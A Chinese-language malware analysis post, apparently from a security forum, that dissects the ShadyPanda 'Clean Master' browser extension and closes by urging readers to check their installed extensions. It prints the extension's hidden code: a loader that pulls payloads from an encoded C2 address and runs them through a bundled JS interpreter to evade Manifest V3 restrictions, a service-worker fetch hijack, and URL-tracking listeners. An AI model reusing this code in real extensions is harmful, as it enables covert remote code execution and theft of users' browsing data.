昨晚正和小伙伴愉快地聊天,突然听他说自己常用的 Infinity 插件被 Edge 浏览器标记为恶意软件,直接给禁用了。边沟通边搜集资料,发现国外安全团队 Koi Security 发布了一份关于浏览器恶意插件的披露报告,揭露了一个名为 ShadyPanda的威胁组织。该组织策划并实施了长达七年的恶意网络活动,插件最初提供合法的数据清理功能,甚至曾获得官方应用商店的推荐,但攻击者后期利用平台对更新包审核机制宽松的问题,在后续版本中植入了恶意代码。
本着“吃瓜吃到自己身上”的原则,我检查了一下自己的浏览器扩展列表。好家伙,赫然发现自己电脑上也躺着一个报告里的核心恶意插件——Clean Master
喜提恶意样本一个!那只能边哭边把这个样本给分析了,恶意文件放在了后台,可以私信 Clean Master 获取
manifest.json 申请了极高的权限,包括对所有网站的访问权 (<all_urls>) 和拦截网络请求的能力 (webRequest)。
插件的后台服务 (service_worker) 指向 background/bg.js。
在 background/bg.js 中,第一行代码即暴露了其恶意意图:
它在初始化正常功能之前,优先加载了名为 fuck.js 的恶意脚本。
这是该样本的核心恶意组件,负责与 C2 服务器通信、下载并执行 Payload。
脚本定义了一个异步函数 xxx,向硬编码的 C2 地址发起请求:
为了规避 Manifest V3 禁止使用 eval 或 new Function 执行远程代码的安全策略,攻击者引入了一个用 JavaScript 编写的 JS 解释器 (interpreter.js):
fuck.js 中还有个监听分发机制,startListener 监听 chrome.runtime.onMessage,这是 Chrome 插件各组件间通信的标准方式。当插件的其他组件发送消息并携带 run_on 参数时,startListener 会查询本地缓存的恶意配置,筛选出所有 run_on 字段匹配请求方环境的配置项,筛选出的恶意代码(包含源码字符串 src_str)会被通过 sendResponse 发回给请求方。这个函数并没有被显式调用,感觉更像是恶意代码分发服务中台、当插件的其他上下文需要执行恶意代码时,它们会向后台发送请求,startListener 负责根据请求方的运行环境(run_on)筛选并返回对应的恶意 Payload,猜测可能是为了后续定向攻击留存的吧,毕竟恶意代码也可以定期下发,可以每次接收不同的恶意代码,收集更多类型的信息。
官方分析中提到的“中间人攻击:通过 service worker 可拦截和修改网络请求,用恶意脚本替换合法的 JavaScript 文件”的机制,其代码依据主要位于 background/fuck.js 文件中。
这段代码利用了 Service Worker 的 fetch 事件监听器,拦截对插件自身资源的请求,并将其替换为从远程服务器下载的恶意代码。
攻击原理分析:
一个完整的 JavaScript 解释器实现,专门用于在 MV3 扩展等受限环境中执行动态下发的代码,绕过 CSP 限制。攻击者可在不更新插件的情况下随时改变攻击逻辑。
打包好的 CryptoJS 密码学库,提供 AES、SHA 等加密算法,用于解密 C2 下发的 Payload 及加密窃取数据后回传。
精心设计的"伪装模块",让插件看起来像合法隐私保护工具。
关键发现 - 被动监测而非拦截:
代码注册 chrome.webRequest.onBeforeRequest 监听器,但未申请 ["blocking"] 权限:
这意味着它无法真正拦截或取消网络请求,只能旁路监听,猜测可能为申请高危的 webRequest 和 webNavigation 权限提供正当理由,降低应用商店审核人员的警惕,并且还可以将访问的网站URL存储到本地,可以后续窃取。
工作流程:
1. 加载本地规则文件 background/seed.json。
2. 监听所有网络请求,判断是否为第三方请求。
3. 如果请求域名匹配规则中的 "block" 动作,它仅仅是将该域名记录到内存中的 trackerMap 对象里。
4. 通过 getTrackerList 消息接口,将记录的“追踪器”列表返回给前端(Popup 页面)。
通过对本地 LevelDB 日志中提取的恶意代码 (src_str) 进行反混淆与分析,还原了该 Payload 的完整攻击逻辑。
提取的配置结构 (来自 LevelDB 日志 012834.log):
代码中包含一段针对开发者工具 (DevTools) 的检测逻辑,用于在安全分析人员调试时隐藏恶意行为。
Payload 注册了 chrome.webRequest.onCompleted 监听器,监控浏览器中所有的主框架 (main_frame) 请求。
窃取的数据字段极其详尽,足以完整画像用户的浏览行为:
代码会生成一个 UUID 并存储在 chrome.storage.sync 中。
在本次披露的报告中,除了 Clean Master 被实锤包含恶意代码外,知名的 WeTab 和 Infinity 扩展也被列入了 ShadyPanda 组织的关联名单中。报告指控这些扩展可能涉及数据收集等行为(被称为“阶段 2”和“阶段 4”的活动)。
然而,针对这一指控及随后的下架处理,WeTab 和 Infinity 官方已发布声明进行澄清。为了保持客观中立,现将官方声明要点摘录如下,供读者参考:
笔者注:
这种攻击手法其实并没有那么复杂,主要利用了平台对更新的审查不严,但沉淀了这么久才开始动手。。。确实防不胜防
最后给大伙儿提个醒:
赶紧查查自己的浏览器插件列表,看到edge的插件封禁安全提示,就说明你有可能中招了,看看自己有没有安装Clean Master插件吧。
5b8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2C8L8$3W2Q4x3X3g2S2K9g2)9J5c8X3u0D9L8$3N6Q4x3V1j5@1i4K6u0V1L8h3W2D9L8r3W2G2L8W2)9J5k6r3u0J5L8%4N6K6k6i4u0K6i4K6u0V1K9h3&6X3k6h3y4@1k6h3c8Q4x3X3c8A6L8Y4y4A6k6r3g2Q4x3X3c8K6K9r3q4V1P5i4m8S2L8X3c8S2i4K6u0V1y4#2)9J5k6s2W2W2j5i4u0Q4x3X3c8E0j5h3I4%4j5i4u0W2i4K6u0V1j5$3q4E0M7r3q4A6k6$3&6Q4x3U0y4Z5k6h3q4V1K9h3&6Y4i4K6u0V1x3b7`.`.
importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);
importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);
const xxx=async()=>{
let e=await get(key);
if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
const t=await fetch("d26K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3j5$3I4W2j5h3&6Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`."+Date.now())
.then(e=>e.json());
await Promise.all(t.map(r=>new Promise((e,t)=>{
if(!r.src_str&&r.src){
const n=new URL(r.src);
n.searchParams.set("t",Date.now()),
fetch(n.toString()).then(e=>e.ok&&e.text())
.then(e=>e&&(r.src_str=e)).then(e).catch(t)
}else e()
})))
e={nextUpdateTime:Date.now()+36e5,data:t},
await set(key,e)
}
runOnce||(runOnce=!0,e.data.forEach(e=>{
if(Array.isArray(e.run_on)){
if(!e.run_on.includes("bg"))return
}else if("bg"!==e.run_on)return;
e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
}))
}
const xxx=async()=>{
let e=await get(key);
if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
const t=await fetch("b18K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3j5$3I4W2j5h3&6Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`."+Date.now())
.then(e=>e.json());
await Promise.all(t.map(r=>new Promise((e,t)=>{
if(!r.src_str&&r.src){
const n=new URL(r.src);
n.searchParams.set("t",Date.now()),
fetch(n.toString()).then(e=>e.ok&&e.text())
.then(e=>e&&(r.src_str=e)).then(e).catch(t)
}else e()
})))
e={nextUpdateTime:Date.now()+36e5,data:t},
await set(key,e)
}
runOnce||(runOnce=!0,e.data.forEach(e=>{
if(Array.isArray(e.run_on)){
if(!e.run_on.includes("bg"))return
}else if("bg"!==e.run_on)return;
e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
}))
}
importScripts("/background/encrypt-bundle.js", "/background/interpreter.js");
e.data.forEach((e) => {
if (Array.isArray(e.run_on)) {
if (!e.run_on.includes("bg")) return;
} else if ("bg" !== e.run_on) return;
e.src_str &&
interpreter.run(e.src_str, globalThis || self || window || {});
})
importScripts("/background/encrypt-bundle.js", "/background/interpreter.js");
e.data.forEach((e) => {
if (Array.isArray(e.run_on)) {
if (!e.run_on.includes("bg")) return;
} else if ("bg" !== e.run_on) return;
e.src_str &&
interpreter.run(e.src_str, globalThis || self || window || {});
})
//...
async function startListener() {
chrome.runtime.onMessage.addListener(function (r, e, s) {
return (
get(key) // key = "fuck",从本地存储读取恶意配置
.then((e) => {
const t = (e && e.data) || [], // 获取 Payload 数组
n = r["run_on"]; // 从消息中获取请求的 run_on 类型
s(
t.filter((e) => {
if (Array.isArray(e.run_on)) {
if (e.run_on.includes(n)) return !0;
} else if (e.run_on === n) return !0;
})
);
})
.catch(noop),
!0
);
});
}
//...
async function startListener() {
chrome.runtime.onMessage.addListener(function (r, e, s) {
return (
get(key) // key = "fuck",从本地存储读取恶意配置
.then((e) => {
const t = (e && e.data) || [], // 获取 Payload 数组
n = r["run_on"]; // 从消息中获取请求的 run_on 类型
s(
t.filter((e) => {
if (Array.isArray(e.run_on)) {
if (e.run_on.includes(n)) return !0;
} else if (e.run_on === n) return !0;
})
);
})
.catch(noop),
!0
);
});
}
self.addEventListener("fetch", (e) => {
if (fuckDataArr) {
const n = e.request;
var t = fuckDataArr.find(
(e) => chrome.runtime.getURL(e.proxy_url) === n.url
);
if (t) {
const r = new Headers();
"css" === t.type
? r.set("Content-Type", "text/css")
: r.set("Content-Type", "text/javascript"),
e.respondWith(new Response(t.src_str, { headers: r }));
}
}
});
self.addEventListener("fetch", (e) => {
if (fuckDataArr) {
const n = e.request;
var t = fuckDataArr.find(
(e) => chrome.runtime.getURL(e.proxy_url) === n.url
);
if (t) {
const r = new Headers();
"css" === t.type
? r.set("Content-Type", "text/css")
: r.set("Content-Type", "text/javascript"),
e.respondWith(new Response(t.src_str, { headers: r }));
}
}
});
chrome.webRequest.onBeforeRequest.addListener(t=>{
var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
if(e){
const o=trackerMap[t]||{};
o.trackerList.includes(a)||(o.trackerList.push(a),trackerMap[t]=o)
}
},{urls:["http://*/*","https://*/*"]}) // 缺少 ["blocking"]
chrome.webRequest.onBeforeRequest.addListener(t=>{
var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
if(e){
const o=trackerMap[t]||{};
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!